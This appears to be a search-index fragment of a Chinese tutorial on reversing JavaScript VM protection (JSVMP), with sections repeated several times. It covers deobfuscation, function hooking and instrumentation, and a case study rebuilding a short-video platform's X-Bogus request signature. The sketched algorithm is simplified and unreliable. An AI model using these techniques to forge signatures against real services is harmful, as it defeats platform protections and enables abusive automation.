JSVMP 解释器会导致原始功能完全失去恢复能力。 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:4:4","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#相比传统保护的优势"},{"categories":null,"collections":null,"content":"JSVMP 逆向分析方法 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:5:0","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#jsvmp-逆向分析方法"},{"categories":null,"collections":null,"content":"三种主要逆向方法（2025） 目前针对 JSVMP 的逆向主要有三种方法： RPC 远程调用 在真实浏览器环境中执行 JSVMP 保护的函数 通过网络接口暴露功能 优点：实现简单，稳定性高 缺点：需要维护浏览器环境，性能开销大 环境补充（补环境） 在 Node.js 中模拟浏览器环境 补充缺失的 DOM、BOM API 优点：执行效率高 缺点：需要大量环境适配工作 插桩还原算法 通过日志输出关键参数 从结果反推生成逻辑 实现纯算法还原 优点：不依赖原始代码，可移植性强 缺点：工作量大，需要深入理解算法 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:5:1","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#三种主要逆向方法2025"},{"categories":null,"collections":null,"content":"关键调试技巧 1. AST 反混淆 使用工具对混淆代码进行还原： // 使用 v_jstools 插件进行 AST 反混淆 // 安装：npm install v_jstools const parser = require(\"@babel/parser\"); const traverse = require(\"@babel/traverse\").default; const generator = require(\"@babel/generator\").default; const fs = require(\"fs\"); // 读取混淆代码 const code = fs.readFileSync(\"obfuscated.js\", \"utf-8\"); const ast = parser.parse(code); // 进行 AST 转换 traverse(ast, { // 添加反混淆规则 }); // 生成还原后的代码 const output = generator(ast).code; fs.writeFileSync(\"deobfuscated.js\", output); 2. 插桩/日志记录 在关键位置插入日志，输出关键参数信息： // 原始 JSVMP 解释器代码（示例） function vmExecute(bytecode, context) { // 插桩：记录字节码执行过程 console.log(\"Executing bytecode:\", bytecode); console.log(\"Context:\", JSON.stringify(context)); let pc = 0; while (pc \u003c bytecode.length) { const opcode = bytecode[pc]; // 插桩：记录每条指令 console.log(`PC: ${pc}, Opcode: ${opcode}`); switch (opcode) { case OP_LOAD: // 插桩：记录加载操作 console.log(\"LOAD operation:\", bytecode[pc + 1]); break; // ... 其他指令 } pc++; } } 3. 浏览器替换函数 使用浏览器的资源覆盖功能调试： // 在 Chrome DevTools 中使用 Overrides 功能 // 1. 打开 DevTools → Sources → Overrides // 2. 选择本地文件夹 // 3. 修改 JS 文件并保存 // 4. 刷新页面测试修改后的代码 // 示例：Hook JSVMP 解释器 (function () { const originalVMExecute = window.vmExecute; window.vmExecute = function (...args) { console.log(\"VM Execute called with:\", args); const result = originalVMExecute.apply(this, args); console.log(\"VM Execute result:\", result); return result; }; })(); 4. 动态分析 使用调试器捕获运行时指令流： // 在关键位置设置断点 // 使用 Chrome DevTools 的条件断点功能 // 条件断点示例： // 当某个变量等于特定值时暂停 if (context.register[0] === 0x1234) { debugger; } // 记录执行路径 const executionTrace = []; function traceExecution(pc, opcode) { executionTrace.push({ pc, opcode, timestamp: Date.now() }); } 5. Apply 方法追踪 针对使用 apply 的循环代码进行分析： // Hook Function.prototype.apply const originalApply = Function.prototype.apply; Function.prototype.apply = function (thisArg, args) { // 记录 apply 调用 console.log(\"Apply called:\"); console.log(\" Function:\", this.name || \"anonymous\"); console.log(\" This:\", thisArg); console.log(\" Args:\", args); // 调用原始方法 const result = originalApply.call(this, thisArg, args); console.log(\" Result:\", result); return result; }; // 在日志中分析算法逻辑，避免大量动态调试 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:5:2","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#关键调试技巧"},{"categories":null,"collections":null,"content":"关键调试技巧 1. AST 反混淆 使用工具对混淆代码进行还原： // 使用 v_jstools 插件进行 AST 反混淆 // 安装：npm install v_jstools const parser = require(\"@babel/parser\"); const traverse = require(\"@babel/traverse\").default; const generator = require(\"@babel/generator\").default; const fs = require(\"fs\"); // 读取混淆代码 const code = fs.readFileSync(\"obfuscated.js\", \"utf-8\"); const ast = parser.parse(code); // 进行 AST 转换 traverse(ast, { // 添加反混淆规则 }); // 生成还原后的代码 const output = generator(ast).code; fs.writeFileSync(\"deobfuscated.js\", output); 2. 插桩/日志记录 在关键位置插入日志，输出关键参数信息： // 原始 JSVMP 解释器代码（示例） function vmExecute(bytecode, context) { // 插桩：记录字节码执行过程 console.log(\"Executing bytecode:\", bytecode); console.log(\"Context:\", JSON.stringify(context)); let pc = 0; while (pc \u003c bytecode.length) { const opcode = bytecode[pc]; // 插桩：记录每条指令 console.log(`PC: ${pc}, Opcode: ${opcode}`); switch (opcode) { case OP_LOAD: // 插桩：记录加载操作 console.log(\"LOAD operation:\", bytecode[pc + 1]); break; // ... 其他指令 } pc++; } } 3. 浏览器替换函数 使用浏览器的资源覆盖功能调试： // 在 Chrome DevTools 中使用 Overrides 功能 // 1. 打开 DevTools → Sources → Overrides // 2. 选择本地文件夹 // 3. 修改 JS 文件并保存 // 4. 刷新页面测试修改后的代码 // 示例：Hook JSVMP 解释器 (function () { const originalVMExecute = window.vmExecute; window.vmExecute = function (...args) { console.log(\"VM Execute called with:\", args); const result = originalVMExecute.apply(this, args); console.log(\"VM Execute result:\", result); return result; }; })(); 4. 动态分析 使用调试器捕获运行时指令流： // 在关键位置设置断点 // 使用 Chrome DevTools 的条件断点功能 // 条件断点示例： // 当某个变量等于特定值时暂停 if (context.register[0] === 0x1234) { debugger; } // 记录执行路径 const executionTrace = []; function traceExecution(pc, opcode) { executionTrace.push({ pc, opcode, timestamp: Date.now() }); } 5. Apply 方法追踪 针对使用 apply 的循环代码进行分析： // Hook Function.prototype.apply const originalApply = Function.prototype.apply; Function.prototype.apply = function (thisArg, args) { // 记录 apply 调用 console.log(\"Apply called:\"); console.log(\" Function:\", this.name || \"anonymous\"); console.log(\" This:\", thisArg); console.log(\" Args:\", args); // 调用原始方法 const result = originalApply.call(this, thisArg, args); console.log(\" Result:\", result); return result; }; // 在日志中分析算法逻辑，避免大量动态调试 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:5:2","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#1-ast-反混淆"},{"categories":null,"collections":null,"content":"关键调试技巧 1. AST 反混淆 使用工具对混淆代码进行还原： // 使用 v_jstools 插件进行 AST 反混淆 // 安装：npm install v_jstools const parser = require(\"@babel/parser\"); const traverse = require(\"@babel/traverse\").default; const generator = require(\"@babel/generator\").default; const fs = require(\"fs\"); // 读取混淆代码 const code = fs.readFileSync(\"obfuscated.js\", \"utf-8\"); const ast = parser.parse(code); // 进行 AST 转换 traverse(ast, { // 添加反混淆规则 }); // 生成还原后的代码 const output = generator(ast).code; fs.writeFileSync(\"deobfuscated.js\", output); 2. 插桩/日志记录 在关键位置插入日志，输出关键参数信息： // 原始 JSVMP 解释器代码（示例） function vmExecute(bytecode, context) { // 插桩：记录字节码执行过程 console.log(\"Executing bytecode:\", bytecode); console.log(\"Context:\", JSON.stringify(context)); let pc = 0; while (pc \u003c bytecode.length) { const opcode = bytecode[pc]; // 插桩：记录每条指令 console.log(`PC: ${pc}, Opcode: ${opcode}`); switch (opcode) { case OP_LOAD: // 插桩：记录加载操作 console.log(\"LOAD operation:\", bytecode[pc + 1]); break; // ... 其他指令 } pc++; } } 3. 浏览器替换函数 使用浏览器的资源覆盖功能调试： // 在 Chrome DevTools 中使用 Overrides 功能 // 1. 打开 DevTools → Sources → Overrides // 2. 选择本地文件夹 // 3. 修改 JS 文件并保存 // 4. 刷新页面测试修改后的代码 // 示例：Hook JSVMP 解释器 (function () { const originalVMExecute = window.vmExecute; window.vmExecute = function (...args) { console.log(\"VM Execute called with:\", args); const result = originalVMExecute.apply(this, args); console.log(\"VM Execute result:\", result); return result; }; })(); 4. 动态分析 使用调试器捕获运行时指令流： // 在关键位置设置断点 // 使用 Chrome DevTools 的条件断点功能 // 条件断点示例： // 当某个变量等于特定值时暂停 if (context.register[0] === 0x1234) { debugger; } // 记录执行路径 const executionTrace = []; function traceExecution(pc, opcode) { executionTrace.push({ pc, opcode, timestamp: Date.now() }); } 5. Apply 方法追踪 针对使用 apply 的循环代码进行分析： // Hook Function.prototype.apply const originalApply = Function.prototype.apply; Function.prototype.apply = function (thisArg, args) { // 记录 apply 调用 console.log(\"Apply called:\"); console.log(\" Function:\", this.name || \"anonymous\"); console.log(\" This:\", thisArg); console.log(\" Args:\", args); // 调用原始方法 const result = originalApply.call(this, thisArg, args); console.log(\" Result:\", result); return result; }; // 在日志中分析算法逻辑，避免大量动态调试 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:5:2","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#2-插桩日志记录"},{"categories":null,"collections":null,"content":"关键调试技巧 1. AST 反混淆 使用工具对混淆代码进行还原： // 使用 v_jstools 插件进行 AST 反混淆 // 安装：npm install v_jstools const parser = require(\"@babel/parser\"); const traverse = require(\"@babel/traverse\").default; const generator = require(\"@babel/generator\").default; const fs = require(\"fs\"); // 读取混淆代码 const code = fs.readFileSync(\"obfuscated.js\", \"utf-8\"); const ast = parser.parse(code); // 进行 AST 转换 traverse(ast, { // 添加反混淆规则 }); // 生成还原后的代码 const output = generator(ast).code; fs.writeFileSync(\"deobfuscated.js\", output); 2. 插桩/日志记录 在关键位置插入日志，输出关键参数信息： // 原始 JSVMP 解释器代码（示例） function vmExecute(bytecode, context) { // 插桩：记录字节码执行过程 console.log(\"Executing bytecode:\", bytecode); console.log(\"Context:\", JSON.stringify(context)); let pc = 0; while (pc \u003c bytecode.length) { const opcode = bytecode[pc]; // 插桩：记录每条指令 console.log(`PC: ${pc}, Opcode: ${opcode}`); switch (opcode) { case OP_LOAD: // 插桩：记录加载操作 console.log(\"LOAD operation:\", bytecode[pc + 1]); break; // ... 其他指令 } pc++; } } 3. 浏览器替换函数 使用浏览器的资源覆盖功能调试： // 在 Chrome DevTools 中使用 Overrides 功能 // 1. 打开 DevTools → Sources → Overrides // 2. 选择本地文件夹 // 3. 修改 JS 文件并保存 // 4. 刷新页面测试修改后的代码 // 示例：Hook JSVMP 解释器 (function () { const originalVMExecute = window.vmExecute; window.vmExecute = function (...args) { console.log(\"VM Execute called with:\", args); const result = originalVMExecute.apply(this, args); console.log(\"VM Execute result:\", result); return result; }; })(); 4. 动态分析 使用调试器捕获运行时指令流： // 在关键位置设置断点 // 使用 Chrome DevTools 的条件断点功能 // 条件断点示例： // 当某个变量等于特定值时暂停 if (context.register[0] === 0x1234) { debugger; } // 记录执行路径 const executionTrace = []; function traceExecution(pc, opcode) { executionTrace.push({ pc, opcode, timestamp: Date.now() }); } 5. Apply 方法追踪 针对使用 apply 的循环代码进行分析： // Hook Function.prototype.apply const originalApply = Function.prototype.apply; Function.prototype.apply = function (thisArg, args) { // 记录 apply 调用 console.log(\"Apply called:\"); console.log(\" Function:\", this.name || \"anonymous\"); console.log(\" This:\", thisArg); console.log(\" Args:\", args); // 调用原始方法 const result = originalApply.call(this, thisArg, args); console.log(\" Result:\", result); return result; }; // 在日志中分析算法逻辑，避免大量动态调试 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:5:2","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#3-浏览器替换函数"},{"categories":null,"collections":null,"content":"关键调试技巧 1. AST 反混淆 使用工具对混淆代码进行还原： // 使用 v_jstools 插件进行 AST 反混淆 // 安装：npm install v_jstools const parser = require(\"@babel/parser\"); const traverse = require(\"@babel/traverse\").default; const generator = require(\"@babel/generator\").default; const fs = require(\"fs\"); // 读取混淆代码 const code = fs.readFileSync(\"obfuscated.js\", \"utf-8\"); const ast = parser.parse(code); // 进行 AST 转换 traverse(ast, { // 添加反混淆规则 }); // 生成还原后的代码 const output = generator(ast).code; fs.writeFileSync(\"deobfuscated.js\", output); 2. 插桩/日志记录 在关键位置插入日志，输出关键参数信息： // 原始 JSVMP 解释器代码（示例） function vmExecute(bytecode, context) { // 插桩：记录字节码执行过程 console.log(\"Executing bytecode:\", bytecode); console.log(\"Context:\", JSON.stringify(context)); let pc = 0; while (pc \u003c bytecode.length) { const opcode = bytecode[pc]; // 插桩：记录每条指令 console.log(`PC: ${pc}, Opcode: ${opcode}`); switch (opcode) { case OP_LOAD: // 插桩：记录加载操作 console.log(\"LOAD operation:\", bytecode[pc + 1]); break; // ... 其他指令 } pc++; } } 3. 浏览器替换函数 使用浏览器的资源覆盖功能调试： // 在 Chrome DevTools 中使用 Overrides 功能 // 1. 打开 DevTools → Sources → Overrides // 2. 选择本地文件夹 // 3. 修改 JS 文件并保存 // 4. 刷新页面测试修改后的代码 // 示例：Hook JSVMP 解释器 (function () { const originalVMExecute = window.vmExecute; window.vmExecute = function (...args) { console.log(\"VM Execute called with:\", args); const result = originalVMExecute.apply(this, args); console.log(\"VM Execute result:\", result); return result; }; })(); 4. 动态分析 使用调试器捕获运行时指令流： // 在关键位置设置断点 // 使用 Chrome DevTools 的条件断点功能 // 条件断点示例： // 当某个变量等于特定值时暂停 if (context.register[0] === 0x1234) { debugger; } // 记录执行路径 const executionTrace = []; function traceExecution(pc, opcode) { executionTrace.push({ pc, opcode, timestamp: Date.now() }); } 5. Apply 方法追踪 针对使用 apply 的循环代码进行分析： // Hook Function.prototype.apply const originalApply = Function.prototype.apply; Function.prototype.apply = function (thisArg, args) { // 记录 apply 调用 console.log(\"Apply called:\"); console.log(\" Function:\", this.name || \"anonymous\"); console.log(\" This:\", thisArg); console.log(\" Args:\", args); // 调用原始方法 const result = originalApply.call(this, thisArg, args); console.log(\" Result:\", result); return result; }; // 在日志中分析算法逻辑，避免大量动态调试 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:5:2","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#4-动态分析"},{"categories":null,"collections":null,"content":"关键调试技巧 1. AST 反混淆 使用工具对混淆代码进行还原： // 使用 v_jstools 插件进行 AST 反混淆 // 安装：npm install v_jstools const parser = require(\"@babel/parser\"); const traverse = require(\"@babel/traverse\").default; const generator = require(\"@babel/generator\").default; const fs = require(\"fs\"); // 读取混淆代码 const code = fs.readFileSync(\"obfuscated.js\", \"utf-8\"); const ast = parser.parse(code); // 进行 AST 转换 traverse(ast, { // 添加反混淆规则 }); // 生成还原后的代码 const output = generator(ast).code; fs.writeFileSync(\"deobfuscated.js\", output); 2. 插桩/日志记录 在关键位置插入日志，输出关键参数信息： // 原始 JSVMP 解释器代码（示例） function vmExecute(bytecode, context) { // 插桩：记录字节码执行过程 console.log(\"Executing bytecode:\", bytecode); console.log(\"Context:\", JSON.stringify(context)); let pc = 0; while (pc \u003c bytecode.length) { const opcode = bytecode[pc]; // 插桩：记录每条指令 console.log(`PC: ${pc}, Opcode: ${opcode}`); switch (opcode) { case OP_LOAD: // 插桩：记录加载操作 console.log(\"LOAD operation:\", bytecode[pc + 1]); break; // ... 其他指令 } pc++; } } 3. 浏览器替换函数 使用浏览器的资源覆盖功能调试： // 在 Chrome DevTools 中使用 Overrides 功能 // 1. 打开 DevTools → Sources → Overrides // 2. 选择本地文件夹 // 3. 修改 JS 文件并保存 // 4. 刷新页面测试修改后的代码 // 示例：Hook JSVMP 解释器 (function () { const originalVMExecute = window.vmExecute; window.vmExecute = function (...args) { console.log(\"VM Execute called with:\", args); const result = originalVMExecute.apply(this, args); console.log(\"VM Execute result:\", result); return result; }; })(); 4. 动态分析 使用调试器捕获运行时指令流： // 在关键位置设置断点 // 使用 Chrome DevTools 的条件断点功能 // 条件断点示例： // 当某个变量等于特定值时暂停 if (context.register[0] === 0x1234) { debugger; } // 记录执行路径 const executionTrace = []; function traceExecution(pc, opcode) { executionTrace.push({ pc, opcode, timestamp: Date.now() }); } 5. Apply 方法追踪 针对使用 apply 的循环代码进行分析： // Hook Function.prototype.apply const originalApply = Function.prototype.apply; Function.prototype.apply = function (thisArg, args) { // 记录 apply 调用 console.log(\"Apply called:\"); console.log(\" Function:\", this.name || \"anonymous\"); console.log(\" This:\", thisArg); console.log(\" Args:\", args); // 调用原始方法 const result = originalApply.call(this, thisArg, args); console.log(\" Result:\", result); return result; }; // 在日志中分析算法逻辑，避免大量动态调试 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:5:2","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#5-apply-方法追踪"},{"categories":null,"collections":null,"content":"实战案例分析 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:6:0","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#实战案例分析"},{"categories":null,"collections":null,"content":"案例：某音 X-Bogus 参数分析 某短视频平台使用 JSVMP 保护其 X-Bogus 参数生成算法，以下是逆向分析的步骤： 步骤 1：定位 JSVMP 解释器 // 搜索特征代码 // 1. 查找 WebAssembly 实例化代码 const wasmMatch = code.match(/WebAssembly\\.instantiate/); // 2. 查找大量的 switch-case 结构（Dispatcher 特征） const switchMatch = code.match(/switch\\s*\\(\\s*\\w+\\s*\\)\\s*\\{/g); // 3. 查找字节码数组（通常是大型 Uint8Array） const bytecodeMatch = code.match(/new\\s+Uint8Array\\(\\[[\\d,\\s]+\\]\\)/); 步骤 2：插桩分析 // 在 Dispatcher 中插入日志 function dispatcher(opcode, operand) { console.log(`Opcode: 0x${opcode.toString(16)}, Operand: ${operand}`); switch (opcode) { case 0x01: // LOAD console.log(\" Action: LOAD from\", operand); break; case 0x02: // STORE console.log(\" Action: STORE to\", operand); break; case 0x10: // ADD console.log(\" Action: ADD\"); break; // ... 更多指令 } } 步骤 3：算法还原 基于日志分析，还原核心算法： // 从 JSVMP 字节码执行日志中还原的算法 function generateXBogus(params) { // 步骤 1: 参数序列化 const serialized = serializeParams(params); // 步骤 2: MD5 哈希 const hash = md5(serialized); // 步骤 3: 时间戳处理 const timestamp = Math.floor(Date.now() / 1000); // 步骤 4: 混合编码 const mixed = mixEncode(hash, timestamp); // 步骤 5: Base64 变种编码 const encoded = customBase64(mixed); return encoded; } // 辅助函数实现 function serializeParams(params) { return Object.keys(params) .sort() .map((key) =\u003e `${key}=${params[key]}`) .join(\"\u0026\"); } function mixEncode(hash, timestamp) { const result = []; for (let i = 0; i \u003c hash.length; i++) { result.push(hash.charCodeAt(i) ^ (timestamp \u0026 0xff)); } return result; } ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:6:1","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#案例某音-x-bogus-参数分析"},{"categories":null,"collections":null,"content":"案例：某音 X-Bogus 参数分析 某短视频平台使用 JSVMP 保护其 X-Bogus 参数生成算法，以下是逆向分析的步骤： 步骤 1：定位 JSVMP 解释器 // 搜索特征代码 // 1. 查找 WebAssembly 实例化代码 const wasmMatch = code.match(/WebAssembly\\.instantiate/); // 2. 查找大量的 switch-case 结构（Dispatcher 特征） const switchMatch = code.match(/switch\\s*\\(\\s*\\w+\\s*\\)\\s*\\{/g); // 3. 查找字节码数组（通常是大型 Uint8Array） const bytecodeMatch = code.match(/new\\s+Uint8Array\\(\\[[\\d,\\s]+\\]\\)/); 步骤 2：插桩分析 // 在 Dispatcher 中插入日志 function dispatcher(opcode, operand) { console.log(`Opcode: 0x${opcode.toString(16)}, Operand: ${operand}`); switch (opcode) { case 0x01: // LOAD console.log(\" Action: LOAD from\", operand); break; case 0x02: // STORE console.log(\" Action: STORE to\", operand); break; case 0x10: // ADD console.log(\" Action: ADD\"); break; // ... 更多指令 } } 步骤 3：算法还原 基于日志分析，还原核心算法： // 从 JSVMP 字节码执行日志中还原的算法 function generateXBogus(params) { // 步骤 1: 参数序列化 const serialized = serializeParams(params); // 步骤 2: MD5 哈希 const hash = md5(serialized); // 步骤 3: 时间戳处理 const timestamp = Math.floor(Date.now() / 1000); // 步骤 4: 混合编码 const mixed = mixEncode(hash, timestamp); // 步骤 5: Base64 变种编码 const encoded = customBase64(mixed); return encoded; } // 辅助函数实现 function serializeParams(params) { return Object.keys(params) .sort() .map((key) =\u003e `${key}=${params[key]}`) .join(\"\u0026\"); } function mixEncode(hash, timestamp) { const result = []; for (let i = 0; i \u003c hash.length; i++) { result.push(hash.charCodeAt(i) ^ (timestamp \u0026 0xff)); } return result; } ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:6:1","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#步骤-1定位-jsvmp-解释器"},{"categories":null,"collections":null,"content":"案例：某音 X-Bogus 参数分析 某短视频平台使用 JSVMP 保护其 X-Bogus 参数生成算法，以下是逆向分析的步骤： 步骤 1：定位 JSVMP 解释器 // 搜索特征代码 // 1. 查找 WebAssembly 实例化代码 const wasmMatch = code.match(/WebAssembly\\.instantiate/); // 2. 查找大量的 switch-case 结构（Dispatcher 特征） const switchMatch = code.match(/switch\\s*\\(\\s*\\w+\\s*\\)\\s*\\{/g); // 3. 查找字节码数组（通常是大型 Uint8Array） const bytecodeMatch = code.match(/new\\s+Uint8Array\\(\\[[\\d,\\s]+\\]\\)/); 步骤 2：插桩分析 // 在 Dispatcher 中插入日志 function dispatcher(opcode, operand) { console.log(`Opcode: 0x${opcode.toString(16)}, Operand: ${operand}`); switch (opcode) { case 0x01: // LOAD console.log(\" Action: LOAD from\", operand); break; case 0x02: // STORE console.log(\" Action: STORE to\", operand); break; case 0x10: // ADD console.log(\" Action: ADD\"); break; // ... 更多指令 } } 步骤 3：算法还原 基于日志分析，还原核心算法： // 从 JSVMP 字节码执行日志中还原的算法 function generateXBogus(params) { // 步骤 1: 参数序列化 const serialized = serializeParams(params); // 步骤 2: MD5 哈希 const hash = md5(serialized); // 步骤 3: 时间戳处理 const timestamp = Math.floor(Date.now() / 1000); // 步骤 4: 混合编码 const mixed = mixEncode(hash, timestamp); // 步骤 5: Base64 变种编码 const encoded = customBase64(mixed); return encoded; } // 辅助函数实现 function serializeParams(params) { return Object.keys(params) .sort() .map((key) =\u003e `${key}=${params[key]}`) .join(\"\u0026\"); } function mixEncode(hash, timestamp) { const result = []; for (let i = 0; i \u003c hash.length; i++) { result.push(hash.charCodeAt(i) ^ (timestamp \u0026 0xff)); } return result; } ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:6:1","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#步骤-2插桩分析"},{"categories":null,"collections":null,"content":"案例：某音 X-Bogus 参数分析 某短视频平台使用 JSVMP 保护其 X-Bogus 参数生成算法，以下是逆向分析的步骤： 步骤 1：定位 JSVMP 解释器 // 搜索特征代码 // 1. 查找 WebAssembly 实例化代码 const wasmMatch = code.match(/WebAssembly\\.instantiate/); // 2. 查找大量的 switch-case 结构（Dispatcher 特征） const switchMatch = code.match(/switch\\s*\\(\\s*\\w+\\s*\\)\\s*\\{/g); // 3. 查找字节码数组（通常是大型 Uint8Array） const bytecodeMatch = code.match(/new\\s+Uint8Array\\(\\[[\\d,\\s]+\\]\\)/); 步骤 2：插桩分析 // 在 Dispatcher 中插入日志 function dispatcher(opcode, operand) { console.log(`Opcode: 0x${opcode.toString(16)}, Operand: ${operand}`); switch (opcode) { case 0x01: // LOAD console.log(\" Action: LOAD from\", operand); break; case 0x02: // STORE console.log(\" Action: STORE to\", operand); break; case 0x10: // ADD console.log(\" Action: ADD\"); break; // ... 更多指令 } } 步骤 3：算法还原 基于日志分析，还原核心算法： // 从 JSVMP 字节码执行日志中还原的算法 function generateXBogus(params) { // 步骤 1: 参数序列化 const serialized = serializeParams(params); // 步骤 2: MD5 哈希 const hash = md5(serialized); // 步骤 3: 时间戳处理 const timestamp = Math.floor(Date.now() / 1000); // 步骤 4: 混合编码 const mixed = mixEncode(hash, timestamp); // 步骤 5: Base64 变种编码 const encoded = customBase64(mixed); return encoded; } // 辅助函数实现 function serializeParams(params) { return Object.keys(params) .sort() .map((key) =\u003e `${key}=${params[key]}`) .join(\"\u0026\"); } function mixEncode(hash, timestamp) { const result = []; for (let i = 0; i \u003c hash.length; i++) { result.push(hash.charCodeAt(i) ^ (timestamp \u0026 0xff)); } return result; } ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:6:1","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#步骤-3算法还原"},{"categories":null,"collections":null,"content":"最佳实践 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:7:0","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#最佳实践"},{"categories":null,"collections":null,"content":"对于开发者（实施保护） 合理选择保护范围 仅对核心算法和敏感逻辑使用 JSVMP 避免保护整个应用，影响性能和调试 考虑保护粒度与性能的平衡 性能优化 使用 WebAssembly 实现解释器以提升性能 对热点代码路径进行优化 实现指令缓存机制 多层防护 JSVMP 结合代码混淆 添加反调试和环境检测 实施完整性校验 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:7:1","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#对于开发者实施保护"},{"categories":null,"collections":null,"content":"对于逆向分析者 选择合适的逆向方法 简单场景使用 RPC 调用 复杂场景考虑算法还原 根据具体需求权衡成本和收益 工具化分析流程 开发自动化插桩工具 建立 JSVMP 特征库 积累常见指令集模式 团队协作 分享 JSVMP 解释器特征 共享逆向工具和脚本 建立案例知识库 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:7:2","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#对于逆向分析者"},{"categories":null,"collections":null,"content":"常见问题 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:8:0","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#常见问题"},{"categories":null,"collections":null,"content":"Q: JSVMP 会显著影响网页性能吗？ A: 会有一定影响。JSVMP 将原生 JavaScript 执行转换为虚拟机解释执行，会带来性能开销。根据实现方式不同，性能损失通常在 2-10 倍之间。使用 WebAssembly 实现的解释器性能损失较小（2-3 倍），纯 JavaScript 实现可能达到 5-10 倍。因此建议仅对核心算法使用 JSVMP，而非整个应用。 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:8:1","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#q-jsvmp-会显著影响网页性能吗"},{"categories":null,"collections":null,"content":"Q: JSVMP 保护是否绝对安全？ A: 没有绝对安全的保护。JSVMP 大幅增加了逆向分析的难度和成本，但仍然可以通过以下方式绕过： RPC 远程调用（黑盒使用） 深度插桩分析还原算法 内存分析和动态调试 机器学习辅助的模式识别 JSVMP 的目标是提高攻击成本，而非完全防止逆向。 ","date":"2025-07-22","objectID":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/:8:2","tags":["Web","WebAssembly","加密分析","Hook","视频App","进阶"],"title":"JavaScript 虚拟机保护","uri":"/reverse_engineering/web/04-advanced-recipes/javascript_vm_protection/#q-jsvmp-保护是否绝对安全"},{"categories":null,"collections":null,"content":"Q: 如何检测代码是否使用了 JSVMP？ A: 可以通过以下特征识别： 存在大量 switch-case 结构（Dispatcher） 包含 WebAssembly 模块实例化 存在大型的字节码数组（Uint8Array） 函数调用被替换为虚拟机执行调用 代码中存在明显的虚拟寄存器和虚拟栈操作 